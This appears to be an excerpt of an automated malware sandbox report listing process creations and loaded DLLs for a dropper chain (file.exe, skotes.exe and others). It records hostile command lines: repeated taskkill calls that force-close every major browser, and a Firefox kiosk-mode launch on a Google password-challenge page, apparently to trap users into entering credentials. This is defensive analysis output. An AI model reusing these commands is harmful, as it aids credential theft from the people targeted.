Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2140 -parentBuildID 20230927232528 -prefsHandle 2076 -prefMapHandle 2068 -prefsLen 25350 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {41e6ee11-7385-4f6c-8723-fbdfc1e2a684} 7648 "\\.\pipe\gecko-crash-server-pipe.7648" 18eb2f6eb10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4532 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 4492 -prefMapHandle 4580 -prefsLen 32851 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {70b5ba1d-88f3-4038-92db-42baf84e225b} 7648 "\\.\pipe\gecko-crash-server-pipe.7648" 18ec52bd710 utility
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe "C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe"
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Process created: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe "C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe"
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Process created: C:\Users\user\AppData\Local\Temp\AVOZ1UBOYVJSZDS0TDG9BM0HUDU.exe "C:\Users\user\AppData\Local\Temp\AVOZ1UBOYVJSZDS0TDG9BM0HUDU.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe "C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe "C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe "C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe "C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003088001\num.exe "C:\Users\user\AppData\Local\Temp\1003088001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Process created: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe "C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Process created: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe "C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Process created: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe "C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe"
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Process created: C:\Users\user\AppData\Local\Temp\AVOZ1UBOYVJSZDS0TDG9BM0HUDU.exe "C:\Users\user\AppData\Local\Temp\AVOZ1UBOYVJSZDS0TDG9BM0HUDU.exe"
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2176 -parentBuildID 20230927232528 -prefsHandle 2112 -prefMapHandle 2104 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b307a6ad-5f41-4ff3-b9e1-80e7264b3011} 4724 "\\.\pipe\gecko-crash-server-pipe.4724" 16d5446f110 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4316 -parentBuildID 20230927232528 -prefsHandle 1204 -prefMapHandle 4052 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d9bcfe38-4f3d-480f-9d5a-656077f94da9} 4724 "\\.\pipe\gecko-crash-server-pipe.4724" 16d66a90910 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2140 -parentBuildID 20230927232528 -prefsHandle 2076 -prefMapHandle 2068 -prefsLen 25350 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {41e6ee11-7385-4f6c-8723-fbdfc1e2a684} 7648 "\\.\pipe\gecko-crash-server-pipe.7648" 18eb2f6eb10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4532 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 4492 -prefMapHandle 4580 -prefsLen 32851 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {70b5ba1d-88f3-4038-92db-42baf84e225b} 7648 "\\.\pipe\gecko-crash-server-pipe.7648" 18ec52bd710 utility
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
